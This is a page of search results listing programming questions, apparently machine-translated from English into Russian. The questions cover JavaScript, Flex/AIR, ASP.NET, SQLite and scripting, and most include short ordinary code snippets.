Результаты поиска
Как обновить страницу на Javascript
Напишите функцию обновления страницы на Javascript или Jquery? Заранее спасибо 
Разгрузка ByteArray используя Actionscript 3
Как я могу принудительно выгрузить ByteArray из памяти с помощью ActionScript 3?
Я попробовал следующее:
// First non-working solution
byteArray.length = 0;
byteArray = new ByteArray();
// Second non-working solution
for ( var i:int=0; i < byteArray.length; i++ ) {
byteArray[i] = null;
}
SQLStatement.execute()-несколько запросов в одном операторе
Я написал сценарий генерации базы данных в SQL и хочу выполнить его в своем приложении Adobe AIR :
Create Table tRole (
roleID integer Primary Key
,roleName varchar(40)
);
Create Table tFile (
fileID integer Primary Key
,fileName varchar(50)
,fileDescription varchar(500)
,thumbnailID integer
,fileFormatID integer
,categoryID integer
,isFavorite boolean
,dateAdded date
,globalAccessCount integer
,lastAccessTime date
,downloadComplete boolean
,isNew boolean
,isSpotlight boolean
,duration varchar(30)
);
Create Table tCategory (
categoryID integer Primary Key
,categoryName varchar(50)
,parent_categoryID integer
);
...
Я выполняю это в Adobe AIR, используя следующие методы:
public static function RunSqlFromFile(fileName:String):void {
var file:File = File.applicationDirectory.resolvePath(fileName);
var stream:FileStream = new FileStream();
stream.open(file, FileMode.READ)
var strSql:String = stream.readUTFBytes(stream.bytesAvailable);
NonQuery(strSql);
}
public static function NonQuery(strSQL:String):void {
var sqlConnection:SQLConnection = new SQLConnection();
sqlConnection.open(File.applicationStorageDirectory.resolvePath(DBPATH));
var sqlStatement:SQLStatement = new SQLStatement();
sqlStatement.text = strSQL;
sqlStatement.sqlConnection = sqlConnection;
try {
sqlStatement.execute();
} catch (error:SQLError) {
Alert.show(error.toString());
}
}
Ошибки не генерируются, однако существует только tRole . Похоже, что он смотрит только на первый запрос (вплоть до точки с запятой - если я удалю его, запрос не будет выполнен). Есть ли способ вызвать несколько запросов в одном операторе?
Добавление функциональности сценариев в приложения .NET
У меня есть небольшая игра, написанная в C#., она использует базу данных в качестве бэк-энда. Это это была торговая карточная игра, и я хотел реализовать функцию карт в виде скрипта.
Я имею в виду, что у меня по существу есть интерфейс , ICard, который реализует класс карт ( public class Card056: ICard ) и который содержит функцию, вызываемую игрой.
Теперь, чтобы сделать вещь maintainable/moddable,, я хотел бы иметь класс для каждой карты в качестве исходного кода в базе данных и по существу скомпилировать его при первом использовании. Поэтому, когда мне нужно добавить/изменить карту, я просто добавлю ее в базу данных и скажу своему приложению обновить, не требуя никаких assembly deployment (тем более, что мы будем говорить о 1 assembly на карту, что означает сотни сборок).
Разве это возможно? Зарегистрируйте класс из исходного файла, а затем создайте его экземпляр и т. д.
ICard Cards[current] = new MyGame.CardLibrary.Card056();
Cards[current].OnEnterPlay(ref currentGameState);
Язык C#, но дополнительный бонус, если есть возможность написать сценарий на любом языке .NET.
Как определить, какой из определенных шрифтов был использован на веб-странице?
Предположим, что у меня на странице есть следующее правило CSS:
body {
font-family: Calibri, Trebuchet MS, Helvetica, sans-serif;
}
Как я могу определить, какой из определенных шрифтов был использован в браузере пользователя?
Редактирование для людей, которым интересно, почему я хочу сделать это: шрифт, который я обнаруживаю, содержит глифы, которые не доступны в других шрифтах, и когда у пользователя нет шрифта, я хочу отобразить ссылку с просьбой загрузить этот шрифт, чтобы они могли использовать мое веб-приложение с правильным шрифтом.
В настоящее время я показываю ссылку на шрифт загрузки для всех пользователей, я хочу показать это только для людей, у которых не установлен правильный шрифт.
ASP.Net Пользовательская Проверка На Стороне Клиента
У меня есть пользовательская функция проверки в JavaScript в пользовательском элементе управления на веб-сайте .Net 2.0, которая проверяет, не превышает ли уплаченная плата причитающуюся сумму.
Я поместил код валидатора в файл ascx , а также попытался использовать Page.ClientScript.RegisterClientScriptBlock() и в обоих случаях срабатывает проверка, но не могу найти функцию JavaScript.
Вывод в консоли ошибок Firefox - это "feeAmountCheck is not defined" . Вот эта функция (она была взята непосредственно из firefox - >view source)
<script type="text/javascript">
function feeAmountCheck(source, arguments)
{
var amountDue = document.getElementById('ctl00_footerContentHolder_Fees1_FeeDue');
var amountPaid = document.getElementById('ctl00_footerContentHolder_Fees1_FeePaid');
if (amountDue.value > 0 && amountDue >= amountPaid)
{
arguments.IsValid = true;
}
else
{
arguments.IsValid = false;
}
return arguments;
}
</script>
Есть идеи, почему эта функция не найдена? Как я могу исправить это, не добавляя функцию на главную страницу или страницу потребления?
Тройные Кавычки? Как я могу разграничить строковый параметр databound Javascript в ASP.NET?
Как я могу разграничить строковый параметр Javascript с привязкой к данным в событии anchor OnClick ?
- У меня есть тег anchor в элементе управления ретранслятором ASP.NET.
- Событие
OnClickanchor содержит вызов функции Javascript. - Функция Javascript принимает строку в качестве входного параметра.
- Строковый параметр заполняется привязанным к данным значением из ретранслятора.
Мне нужен "double quotes" для Container.DataItem .
Мне нужен 'single quotes' для OnClick .
А мне еще нужен один разделитель (тройные кавычки?) для входного строкового параметра вызова функции Javascript.
Поскольку я не могу использовать 'single quotes' снова, как я могу гарантировать, что функция Javascript знает, что входной параметр является строкой, а не целым числом?
Без дополнительных кавычек вокруг входного строкового параметра функция Javascript думает, что я передаю целое число.
В anchor:
<a id="aShowHide" onclick='ToggleDisplay(<%# DataBinder.Eval(Container.DataItem, "JobCode") %>);' >Show/Hide</a>
а вот и Javascript-й:
<script language="JavaScript" type="text/javascript">
/* Shows/Hides the Jobs Div */
function ToggleDisplay(jobCode)
{
/* Each div has its ID set dynamically ('d' plus the JobCode) */
var elem = document.getElementById('d' + jobCode);
if (elem)
{
if (elem.style.display != 'block')
{
elem.style.display = 'block';
elem.style.visibility = 'visible';
}
else
{
elem.style.display = 'none';
elem.style.visibility = 'hidden';
}
}
}
</script>
Использование нескольких баз данных SQLite одновременно
У меня есть 2 базы данных SQLite, одна загружена с сервера (server.db), а другая используется в качестве хранилища на клиенте ( client.db). Мне нужно выполнить различные запросы синхронизации в клиентской базе данных, используя данные из базы данных сервера.
Например, я хочу удалить все строки в таблице client.db tRole и повторно заполнить все строки в таблице server.db tRole .
Другой пример: я хочу удалить все строки в таблице client.db tFile , где fileID не находится в таблице server.db tFile .
В SQL Server вы можете просто префиксировать таблицу с именем базы данных. Есть ли вообще возможность сделать это в SQLite, используя Adobe Air?
Использование нескольких баз данных SQLite одновременно
У меня есть 2 базы данных SQLite, одна загружена с сервера (server.db), а другая используется в качестве хранилища на клиенте ( client.db). Мне нужно выполнить различные запросы синхронизации в клиентской базе данных, используя данные из базы данных сервера.
Например, я хочу удалить все строки в таблице client.db tRole и повторно заполнить все строки в таблице server.db tRole .
Другой пример: я хочу удалить все строки в таблице client.db tFile , где fileID не находится в таблице server.db tFile .
В SQL Server вы можете просто префиксировать таблицу с именем базы данных. Есть ли вообще возможность сделать это в SQLite, используя Adobe Air?
Удалите все таблицы, имена которых начинаются с определенной строки
Я бы хотел, чтобы скрипт отбросил все таблицы, имя которых начинается с заданной строки. Я уверен, что это можно сделать с некоторыми динамическими таблицами sql и INFORMATION_SCHEMA .
Если у кого-то есть сценарий или он может быстро его создать, пожалуйста, опубликуйте его.
Если никто не отправит ответ до того, как я сам это выясню, я отправлю свое решение.
Http Auth в букмарклете Firefox 3
Я пытаюсь создать букмарклет для размещения закладок del.icio.us в отдельном аккаунте.
Я проверил его из командной строки, как:
wget -O - --no-check-certificate \
"https://seconduser:thepassword@api.del.icio.us/v1/posts/add?url=http://seet.dk&description=test"
Это прекрасно работает.
Затем я хотел создать букмарклет в моем firefox. Я погуглил и нашел кусочки и куски, и в итоге получил:
javascript:void(
open('https://seconduser:password@api.del.icio.us/v1/posts/add?url='
+encodeURIComponent(location.href)
+'&description='+encodeURIComponent(document.title),
'delicious','toolbar=no,width=500,height=250'
)
);
Но все, что происходит, это то, что я получаю это от del.icio.us:
<?xml version="1.0" standalone="yes"?>
<result code="access denied" />
<!-- fe04.api.del.ac4.yahoo.net uncompressed/chunked Thu Aug 7 02:02:54 PDT 2008 -->
Если я затем перейду в адресную строку и нажму enter, она изменится на:
<?xml version='1.0' standalone='yes'?>
<result code="done" />
<!-- fe02.api.del.ac4.yahoo.net uncompressed/chunked Thu Aug 7 02:07:45 PDT 2008 -->
Есть идеи, как заставить его работать непосредственно из закладок?
Flex / Air обфускация
Я написал (большую часть) приложения в Flex, и я озабочен защитой исходного кода. Я запустил демо - версию trillix swf decompiler и открыл swf-файл, который был установлен в мой каталог Program Files. Я увидел, что все пакеты actionscript, которые я написал, были там. Я не слишком беспокоюсь о пакетах, даже несмотря на то, что существует значительное количество кода, потому что он все еще кажется довольно непригодным для использования без файлов mxml. Я думаю, что они преобразованы в actionscript, или, по крайней мере, я надеюсь. Однако я все же хотел бы исследовать запутанность.
Есть ли у кого-нибудь опыт работы с Flash / Actionscript 3 / Flex обфускаторы? Можете ли вы порекомендовать хороший продукт?
Как клавиатура вниз или вверх между выпадающим "options"?
У меня есть специально построенный динамический выпадающий список на основе ajax [div].
У меня есть поле [input], которое; onkeyup, запускает поиск Ajax, который возвращает результаты в div s и возвращается в использование innerHTML . Эти div s все имеют основные моменты onmouseover так, типичный успешный поиск дает следующую структуру (простите полу-код):
[input]
[div id=results] //this gets overwritten contantly by my AJAX function
[div id=result1 onmouseover=highlight onclick=input.value=result1]
[div id=result2 onmouseover=highlight onclick=input.value=result2]
[div id=result2 onmouseover=highlight onclick=input.value=result2]
[/div]
Это работает.
Однако мне не хватает важных функций за регулярными элементами HTML. Я не могу клавиатуру вниз или вверх между "options".
Я знаю, что javascript обрабатывает события клавиатуры, но; я не смог найти хорошего гида. (Конечно, последующий вопрос будет заключаться в следующем: могу ли я использовать <ENTER> для запуска этого события onclick ?)
Перенос списков в столбцы
Я использую ColdFusion для заполнения шаблона, который включает в себя HTML списков ( <ul>'s).
Большинство из них не так уж и длинны, но некоторые имеют смехотворно длинные длины и действительно могут стоять в колонках 2-3.
Есть ли HTML, ColdFusion или, возможно, JavaScript (у меня есть jQuery` в наличии) способ сделать это легко? Это не стоит какого-то сверхсложного тяжеловесного решения, чтобы сэкономить немного прокрутки.
Откройте локальный файл с помощью AIR / Flex
Я написал приложение AIR, которое загружает видео и документы с сервера. Видео воспроизводится внутри приложения, но я хотел бы, чтобы пользователь мог открывать документы в своих собственных приложениях.
Я ищу способ предложить пользователю открыть / Сохранить как локальный файл, хранящийся в каталоге хранения приложений. Я пробовал использовать классы FileReference + URLRequest, но это вызывает исключение, что ему нужен удаленный url.
Мое последнее средство-просто скопировать файл на их рабочий стол : \
Откройте локальный файл с помощью AIR / Flex
Я написал приложение AIR, которое загружает видео и документы с сервера. Видео воспроизводится внутри приложения, но я хотел бы, чтобы пользователь мог открывать документы в своих собственных приложениях.
Я ищу способ предложить пользователю открыть / Сохранить как локальный файл, хранящийся в каталоге хранения приложений. Я пробовал использовать классы FileReference + URLRequest, но это вызывает исключение, что ему нужен удаленный url.
Мое последнее средство-просто скопировать файл на их рабочий стол : \
Как настроить переключатель CSS
Я работаю над сайтом, который будет переключаться на новый стиль на определенную дату. Сайт построен в семантических HTML и CSS, поэтому изменение должно просто потребовать изменения ссылки CSS. Я работаю с дизайнером, которому нужно будет видеть, как он выглядит, а также с клиентом, которому нужно будет просматривать обновления контента в текущем виде, а также прогресс дизайна в новом виде.
Я планирую использовать значение magic querystring и / или ссылку javascript в нижнем колонтитуле, которая записывает cookie для выбора новой страницы CSS. Мы работаем в ASP.NET 3.5. Есть рекомендации?
Я должен упомянуть, что мы используем условные комментарии IE для поддержки IE8, 7 и 6. Я могу создать функцию, которая выполняет замену:
<link href="Style/<% GetCssRoot() %>.css" rel="stylesheet" type="text/css" />
<!--[if lte IE 8]>
<link type="text/css" href="Style/<% GetCssRoot() %>-ie8.css" rel="stylesheet" />
<![endif]-->
<!--[if lte IE 7]>
<link type="text/css" href="Style/<% GetCssRoot() %>-ie7.css" rel="stylesheet" />
<![endif]-->
<!--[if lte IE 6]>
<link type="text/css" href="Style/<% GetCssRoot() %>-ie6.css" rel="stylesheet" />
<![endif]-->
Как я могу опубликовать и затем перенаправить на внешний URL из ASP.Net?
ASP.NET серверные элементы управления обратной связью на свою собственную страницу. Это приводит к тому, что вы хотите перенаправить пользователя на внешнюю страницу, но по какой-то причине (например, для аутентификации) должны разместить на этой странице сообщение.
HttpWebRequest отлично работает, если вы не хотите перенаправлять, а JavaScript в некоторых случаях подходит, но может стать сложным, если вам действительно нужен код на стороне сервера,чтобы собрать данные для публикации.
Так как же вы одновременно отправляете сообщение на внешний URL и перенаправляете пользователя на результат из вашего кода ASP.NET codebehind?
Длина объекта JavaScript
Если у меня есть объект JavaScript, скажем
var myObject = new Object();
myObject["firstname"] = "Gareth";
myObject["lastname"] = "Simpson";
myObject["age"] = 21;
существует ли встроенный или общепринятый наилучший способ получения длины этого объекта?
Как указать javascript для запуска при отображении ModalPopupExtender
У ASP.NET AJAX ModalPopupExtender есть свойства OnCancelScript и OnOkScript , но у него, похоже, нет свойства OnShowScript . Я бы хотел указать функцию javascript для запуска при каждом появлении всплывающего окна.
В прошлых ситуациях я устанавливал TargetControlID на фиктивный элемент управления и предоставлял свой собственный элемент управления, который сначала выполняет некоторый код JS, а затем использует методы JS для отображения всплывающего окна. Но в этом случае я показываю всплывающее окно как из клиентского, так и из серверного кода.
Кто-нибудь знает способ сделать это?
BTW, мне это было нужно, потому что у меня есть textbox в модале, который я хочу сделать редактором TinyMCE. Но сценарий TinyMCE init не работает с невидимыми текстовыми полями, поэтому мне пришлось найти способ запустить его в то время, когда модальный был показан
Анимация в javascript, отправная точка
Я понимаю, как JS запускается, и я думаю, что понимаю большую часть DOM, но я понятия не имею об анимации. Кто-нибудь здесь знает хорошего гида, который может объяснить мне, как это делается в Javascript?
Кроме того, должен ли я даже рассматривать Javascript для анимации? Должен ли я вместо этого искать, чтобы узнать flash?
Можно ли скопировать файлы в сетевое место из скрипта или командной строки?
Можно ли в Windows XP скопировать файлы в сетевое место из командной строки, пакетного файла или, еще лучше, скрипта PowerShell?
То, что привело меня на этот путь исследований, было попыткой опубликовать файлы в библиотеке документов WSS 3.0 с компьютера пользователя. Я не могу сопоставить диск с соответствующей библиотекой, потому что сайт WSS доступен только для аутентификации через NTLM на порту, отличном от 80 или 443. Я предполагаю, что я мог бы поочередно использовать веб-службы WSS для выталкивания файлов, но сейчас мне действительно интересно получить ответ на этот вопрос.
Как запустить удаленные сценарии оболочки из страниц ASP?
Мне нужно создать страницу ASP (классическую, а не ASP.NET), которая запускает удаленные сценарии оболочки на сервере UNIX, а затем захватывает выходные данные в переменные в VBScript внутри самой страницы.
Я никогда не делал ASP или VBScipt раньше. Я попытался google этот материал, но все, что я нахожу, - это ссылки на удаленные сценарии на стороне сервера, ничего конкретного.
Я действительно мог бы использовать:
- Элементарный пример того, как это можно сделать.
- Любые другие лучшие альтернативы для достижения этого безопасным способом.
Существуют ли какие-либо бесплатные / открытые альтернативы этим библиотекам? Есть примеры?
Как я могу улучшить производительность при добавлении InDesign XMLElements через AppleScript?
У меня есть программа AppleScript, которая создает XML тегов и элементов в документе Adobe InDesign. Данные находятся в таблицах, и пометка каждой ячейки занимает .5 секунд. Весь сценарий занимает несколько часов, чтобы закончить.
Я могу опубликовать код внутреннего цикла, но я не уверен, что SO должен быть общим или конкретным. Я предоставлю решать мафии.
[редактировать] Код создает список (до этого цикла), который содержит по одному элементу на строку в таблице. Существует также список, содержащий одну строку для каждого столбца в таблице. Для каждой ячейки программа создает элемент XML и тег XML, объединяя элементы в позициях [строка]/[столбец] двух списков. Он также связывает текст в этой ячейке с вновь созданным элементом.
Я совершенно новичок в AppleScript, поэтому часть этого кода грубо модифицирована из образцов Adobe. Если кодекс ужасен, я не обижусь.
Вот этот код:
repeat with columnNumber from COL_START to COL_END
select text of cell ((columnNumber as string) & ":" & (rowNumber as string)) of ThisTable
tell activeDocument
set thisXmlTag to make XML tag with properties {name:item rowNumber of symbolList & "_" & item columnNumber of my histLabelList}
tell rootXmlElement
set thisXmlElement to make XML element with properties {markup tag:thisXmlTag}
end tell
set contents of thisXmlElement to (selection as string)
end tell
end repeat
EDIT: я перефразировал вопрос, чтобы лучше отразить правильный ответ.
Как мне перестроить аккордеон Adobe Flex, чтобы включить кнопку в каждый заголовок холста?
Вот пример кода для моего аккордеона:
<mx:Accordion x="15" y="15" width="230" height="599" styleName="myAccordion">
<mx:Canvas id="pnlSpotlight" label="SPOTLIGHT" height="100%" width="100%" horizontalScrollPolicy="off">
<mx:VBox width="100%" height="80%" paddingTop="2" paddingBottom="1" verticalGap="1">
<mx:Repeater id="rptrSpotlight" dataProvider="{aSpotlight}">
<sm:SmallCourseListItem
viewClick="PlayFile(event.currentTarget.getRepeaterItem().fileID);"
Description="{rptrSpotlight.currentItem.fileDescription}"
FileID = "{rptrSpotlight.currentItem.fileID}"
detailsClick="{detailsView.SetFile(event.currentTarget.getRepeaterItem().fileID,this)}"
Title="{rptrSpotlight.currentItem.fileTitle}"
FileIcon="{iconLibrary.getIcon(rptrSpotlight.currentItem.fileExtension)}" />
</mx:Repeater>
</mx:VBox>
</mx:Canvas>
</mx:Accordion>
Я хотел бы включить кнопку в каждый заголовок, например:
Программно перечислите WMI классов и их свойств
Существует ли какой-либо известный способ перечисления классов WMI и их свойств, доступных для конкретной системы? Я заинтересован в подходе vbscript, но, пожалуйста, предложите что-нибудь действительно :)
P.S. Отличный сайт.
Автоматизировать добавление записей в wiki
Как только у меня есть переименованные файлы, мне нужно добавить их на страницу project wiki. Это довольно повторяющаяся ручная задача, поэтому я думаю, что могу написать ее, но я не знаю, с чего начать.
Процесс такой:
Got to appropriate page on the wiki
for each team member (DeveloperA, DeveloperB, DeveloperC)
{
for each of two files ('*_current.jpg', '*_lastweek.jpg')
{
Select 'Attach' link on page
Select the 'manage' link next to the file to be updated
Click 'Browse' button
Browse to the relevant file (which has the same name as the previous version)
Click 'Upload file' button
}
}
Не обязательно искать полное решение, как я хотел бы дать ему идти сам.
С чего начать? На каком языке я могу это сделать и насколько это будет сложно?
Как добавить тег pre внутрь кодового тега с jQuery?
Я пытаюсь использовать jQuery для форматирования блоков кода, а именно для добавления тега <pre> внутри тега <code> :
$(document).ready(function() {
$("code").wrapInner("<pre></pre>");
});
Firefox применяет форматирование правильно, но IE помещает весь блок кода в одну строку. Если я добавлю предупреждение
alert($("code").html());
Я вижу, что IE вставил некоторый дополнительный текст в тег pre:
<PRE jQuery1218834632572="null">
Если я перезагружаю страницу, число после jQuery изменяется.
Если я использую wrap() вместо wrapInner(), чтобы обернуть <pre> за пределами тега <code> , то и IE, и Firefox обрабатывают его правильно. Но разве <pre> не должен работать и внутри <code> ?
Я бы предпочел использовать wrapInner() , потому что затем я могу добавить класс CSS к тегу <pre> для обработки всех форматирований, но если я использую wrap() , мне придется поместить форматирование страницы CSS в тег <pre> и форматирование текста/шрифта в тег <code> , или Firefox и IE оба дросселя. Ничего особенного, но я бы хотел, чтобы все было как можно проще.
Кто-нибудь еще сталкивался с этим? Я что-то упустил?
Есть ли "concise" способ сделать пространство имен в JavaScript?
Я часто сталкивался с сайтами, которые помещали все свои JavaScript внутри структуры namespace вдоль линий:
namespaces = { com : { example: { example.com's data} }
Однако безопасная настройка этого по отношению к другим пространствам имен, по-видимому, требует относительно большого количества кода (определенного как > 2 строки). Мне было интересно, знает ли кто-нибудь краткий способ сделать это? Кроме того, есть ли относительно стандартный/последовательный способ структурировать его? Например, присоединяется ли пространство имен com непосредственно к глобальному объекту или оно присоединяется через объект пространства имен?
[Edit: упс, очевидно, {com = { ... } } не достигнет ничего близкого к тому, что я намеревался, благодаря Shog9 за указание на это.]
Прокрутка переполнена DIVs с JavaScript
У меня есть div, который использует overflow:auto, чтобы сохранить содержимое внутри div, когда оно изменяется и перетаскивается по странице. Я использую некоторые ajax для извлечения строк текста с сервера, а затем добавляю их в конец div, поэтому содержимое растет вниз. Каждый раз, когда это происходит, я хотел бы использовать JS-scroll div снизу, чтобы самый последний добавленный контент был виден, подобно тому, как будет работать чат или консоль командной строки.
До сих пор я использовал этот фрагмент кода, чтобы сделать это (я также использую jQuery, следовательно, функцию $() ):
$("#thediv").scrollTop = $("#thediv").scrollHeight;
Однако это дало мне противоречивые результаты. Иногда это работает, иногда нет, и он полностью перестает работать, если пользователь когда-либо изменяет размер div или перемещает панель scroll вручную.
Целевой браузер-это Firefox 3, и он развертывается в контролируемой среде, поэтому ему вообще не нужно работать в IE.
Есть идеи, ребята? Этот вопрос поставил меня в тупик. Спасибо!
цитирование System.DirectoryServices.ResultPropertyCollection
Я что-то упускаю здесь:
$objSearcher = New-Object System.DirectoryServices.DirectorySearcher
$objSearcher.SearchRoot = New-Object System.DirectoryServices.DirectoryEntry
$objSearcher.Filter = ("(objectclass=computer)")
$computers = $objSearcher.findall()
Итак, вопрос в том, почему два следующих вывода отличаются?
$computers | %{
"Server name in quotes $_.properties.name"
"Server name not in quotes " + $_.properties.name
}
PS> $computers[0] | %{"$_.properties.name"; $_.properties.name}
System.DirectoryServices.SearchResult.properties.name
GORILLA
Как удалить дочерний узел в HTML с помощью JavaScript?
Есть ли такая функция, как document.getElementById("FirstDiv").clear() ?
Flex: существует ли безболезненная программная привязка данных?
До сих пор я только немного занимался разработкой Flex, но я предпочитал подход создания элементов управления программно над файлами mxml, потому что (и , пожалуйста, поправьте меня, если я ошибаюсь!) Я понял, что вы не можете иметь его в обоих направлениях-то есть иметь функциональность класса в отдельном файле класса ActionScript, но иметь содержащиеся элементы, объявленные в mxml.
С точки зрения производительности разница невелика, но программная привязка данных кажется несколько менее тривиальной. Я посмотрел, как компилятор mxml преобразует выражения привязки данных. В результате получается куча сгенерированных обратных вызовов и гораздо больше строк, чем в представлении mxml. Итак, вот в чем вопрос: есть ли способ сделать привязку данных программно, которая не включает в себя мир боли?
Как вызвать Flex SWF из удаленного домена с помощью Flash (AS3)?
У меня есть Flex swf, размещенный в http://www.a.com/a.swf . У меня есть код flash на другом doamin, который пытается загрузить SWF:
_loader = new Loader();
var req:URLRequest = new URLRequest("http://services.nuconomy.com/n.swf");
_loader.contentLoaderInfo.addEventListener(Event.COMPLETE,onLoaderFinish);
_loader.load(req);
На событии onLoaderFinish я пытаюсь загрузить классы из удаленного SWF и создать их:
_loader.contentLoaderInfo.applicationDomain.getDefinition("someClassName") as Class
Когда этот код выполняется, я получаю следующее исключение
SecurityError: Error #2119: Security sandbox violation: caller http://localhost.service:1234/flashTest/Main.swf cannot access LoaderInfo.applicationDomain owned by http://www.b.com/b.swf.
at flash.display::LoaderInfo/get applicationDomain()
at NuconomyLoader/onLoaderFinish()
Есть ли способ заставить этот код работать?
Древовидный (против HTML-Based) веб-фреймворк?
Любой, кто пишет на стороне клиента JavaScript, знаком с DOM-древовидной структурой, на которую ссылается Ваш браузер в памяти, сгенерированной из HTML, полученной от сервера. JavaScript может добавлять, удалять и изменять узлы в дереве DOM для внесения изменений в страницу. Я считаю, что очень приятно работать с (Ошибки браузера в сторону), и очень отличается от того, как мой код на стороне сервера должен генерировать страницу в первую очередь.
Мой вопрос: какие серверные фреймворки / языки создают страницу, рассматривая ее как дерево DOM с самого начала-вставляя узлы вместо Эхо-строк? Я думаю, что было бы очень полезно, если бы клиентский и серверный код видели страницу одинаково. Вы, конечно, можете взломать что-то подобное вместе на любом языке веб-сервера, но фреймворк, предназначенный для создания страницы таким образом, может сделать некоторые очень хорошие оптимизации.
Открытый исходный код, будучи широко развернутым и будучи вокруг некоторое время все будет плюсы.
Создание автономных приложений в JavaScript
С увеличением мощности фреймворков JavaScript, таких как YUI, JQuery и Prototype, а также инструментов отладки, таких как Firebug, создание приложения полностью на стороне браузера JavaScript выглядит как отличный способ сделать простые приложения, такие как головоломки и специализированные калькуляторы.
Есть ли у этого какой-то недостаток, кроме раскрытия вашего исходного кода? Как вы должны обращаться с хранилищем данных для такого рода программ?
Правка: да, Gears и cookies можно использовать для локального хранения, но вы не можете легко получить доступ к файлам и другим объектам, которые уже есть у пользователя. Вы также не можете сохранить данные в файл для пользователя без того, чтобы они не вызывали некоторые функции браузера, такие как печать в PDF или сохранение страницы в виде файла.
Что делают методы getUTC* в объекте date?
Что это значит, когда вы получаете или создаете дату в формате UTC в JavaScript?
Какой язык сценариев следует поддерживать в существующей кодовой базе?
Я смотрю на добавление функциональности сценариев к существующей кодовой базе и взвешиваю плюсы/минусы различных пакетов. Lua, вероятно, самый очевидный выбор, но мне было интересно, есть ли у людей какие-либо другие предложения, основанные на их опыте.
Сценарии будут запускаться при определенных событиях и могут оставаться резидентными в течение определенного периода времени. Например, при запуске скрипт может определить несколько опций, которые программа представляет пользователю в виде нескольких кнопок. При выборе одной из этих кнопок программа уведомит сценарий, где могут произойти дальнейшие события.
Это единственные реальные требования;
- Должна быть кроссплатформенная библиотека, которая компилируется из исходного кода
- Скрипты должны иметь возможность вызывать зарегистрированные функции на стороне кода
- Код должен иметь возможность вызывать функции на стороне скрипта
- Используется в кодовой базе C/C++.
Рекомендации по управлению и развертыванию больших приложений JavaScript
Каковы некоторые стандартные методы управления приложением среднего размера JavaScript? Меня беспокоит как скорость загрузки браузера, так и простота и ремонтопригодность разработки.
Наш код JavaScript примерно равен "namespaced" как:
var Client = {
var1: '',
var2: '',
accounts: {
/* 100's of functions and variables */
},
orders: {
/* 100's of functions and variables and subsections */
}
/* etc, etc for a couple hundred kb */
}
На данный момент у нас есть один (распакованный, нескрепленный, хорошо читаемый) файл JavaScript для обработки всей бизнес-логики в веб-приложении. Кроме того, существует jQuery и несколько jQuery расширений. Проблема, с которой мы сталкиваемся, заключается в том, что требуется вечность , чтобы найти что-либо в коде JavaScript, и браузер все еще имеет дюжину файлов для загрузки.
Часто ли у вас есть несколько файлов "source" JavaScript, которые получают "compiled" в один окончательный сжатый файл JavaScript? Есть еще какие-нибудь полезные советы или рекомендации?
Можно ли вообще отключить проверку на стороне клиента для текстового поля dojo дата?
В моем примере ниже я использую dijit.form.DateTextBox :
<input type="text" name="startDate" dojoType="dijit.form.DateTextBox" constraints="{datePattern:'MM/dd/yyyy'}" value='<c:out value="${sessionScope.adminMessageForm.startDate}"/>' />
Так, например, если пользователь начинает вводить "asdf" в дату, поле становится желтым, и появляется всплывающее сообщение об ошибке с надписью The value entered is not valid. . Даже если я удалю constraints="{datePattern:'MM/dd/yyyy'}" , он все равно будет проверяться.
Не вдаваясь в детали относительно того, почему, я хотел бы иметь возможность сохранить dojoType и все же предотвратить проверку в определенных обстоятельствах.
Поиск конкретного расширения FireFox / программы для разноски форм
Я ищу либо расширение FireFox, либо аналогичную программу,которая позволяет создавать запросы GET и POST. Пользователь будет вводить действие формы и столько пар ключ/значение формы, сколько требуется. Он также будет отправлять любую информацию о файлах cookie (или отправлять текущие файлы cookie из любого домена, выбранного пользователем.) Надстройка веб-разработчика-это почти то, что я ищу; она позволяет вам быстро увидеть ключи формы, но она не позволяет вам изменять их или добавлять новые (что приводит к большому количеству болезненных JavaScript в адресной строке...)
Минимизировать javascript HTTP вызовов из AjaxControlToolkit элементов управления?
Мне нравится простота, которую предоставляет инструментарий управления ASP.NET Ajax для разработчиков ASP.NET. Однако я не нашел, что это вообще масштабируемое решение. У меня есть страница с 2 полями ввода даты. Помещая в него элемент управления TextBox и CalendarExtendar для каждого поля даты, я получаю несколько (11, по сути) внешних вызовов Javascript в /ScriptResource.axd?d=xxxx
Есть ли способ контролировать это? Почему это так отстойно? Для чего нужен лучший инструментарий Ajax .NET что может обеспечить равный (или лучший) набор функций, который является более масштабируемым, прямым и полностью настраиваемым? NOT глядя, чтобы изобрести колесо здесь.
Web App-Тип Панели Мониторинга GUI-Интерфейс
Я ищу, чтобы создать графический интерфейс типа панели мониторинга для веб-приложения. Я ищу, чтобы пользователь мог перетаскивать различные элементы (возможно, кнопки изображений, теги привязки или, возможно, просто divs) в разные (определенные) места и сохранять их настройки (в файле cookie или на сервере). Я работаю с c# в .Чистый рамках 2.0. Я пробовал использовать mootools, но их недавнее обновление оставило их возможности перетаскивания бесполезными для меня. Я ищу немного направления, потому что я знаю, что там есть что-то, что я ищу, поэтому мне не придется строить с нуля.
Спасибо.
Выберите запрос по 2 таблицам, на разных серверах баз данных
Я пытаюсь создать отчет, запросив 2 базы данных (Sybase) в классическом ASP.
Я создал 2 строки подключения:
connA для databaseA
connB для databaseB
Обе базы данных находятся на одном сервере (не знаю, имеет ли это значение)
Запросы:
q1 = SELECT column1 INTO #temp FROM databaseA..table1 WHERE xyz="A"
q2 = SELECT columnA,columnB,...,columnZ FROM table2 a #temp b WHERE b.column1=a.columnB
с последующим:
response.Write(rstsql) <br>
set rstSQL = CreateObject("ADODB.Recordset")<br>
rstSQL.Open q1, connA<br>
rstSQL.Open q2, connB
Когда я пытаюсь открыть эту страницу в браузере, я получаю сообщение об ошибке:
Поставщик Microsoft OLE DB для ODBC драйверов ошибка '80040e37'
[DataDirect] [ODBC Sybase драйвер проводного протокола] [SQL сервер]#temp не найден. Укажите owner.objectname или используйте sp_help, чтобы проверить, существует ли объект (sp_help может выдавать много выходных данных).
Может ли кто-нибудь помочь мне понять, в чем проблема, и помочь мне ее решить?
Спасибо.
Динамическая Алфавитная Навигация
Я использую ColdFusion , чтобы вернуть результирующий набор из базы данных SQL и превратить его в список.
Мне нужен какой-то способ создать алфавитную навигационную панель для этого списка. У меня есть библиотека ColdFusion и jQuery.
Я ищу, чтобы создать что-то вроде этого:
A | B | C | ...
- A
- A
- B
- B
- B
- C
- D
Где нажатие на одну из букв опускает вас вниз по странице до первого элемента для этой буквы. Не все 26 букв алфавита обязательно используются.
Связь между Javascript и сервером
Я разрабатывал "Form Builder" в Javascript и подходил к той части, где я буду отправлять спецификацию для формы обратно на сервер для хранения. Построитель поддерживает внутреннюю структуру данных, которая представляет поля, метку, параметры (для select/checkbox/radio), обязательный статус и общий порядок сортировки полей.
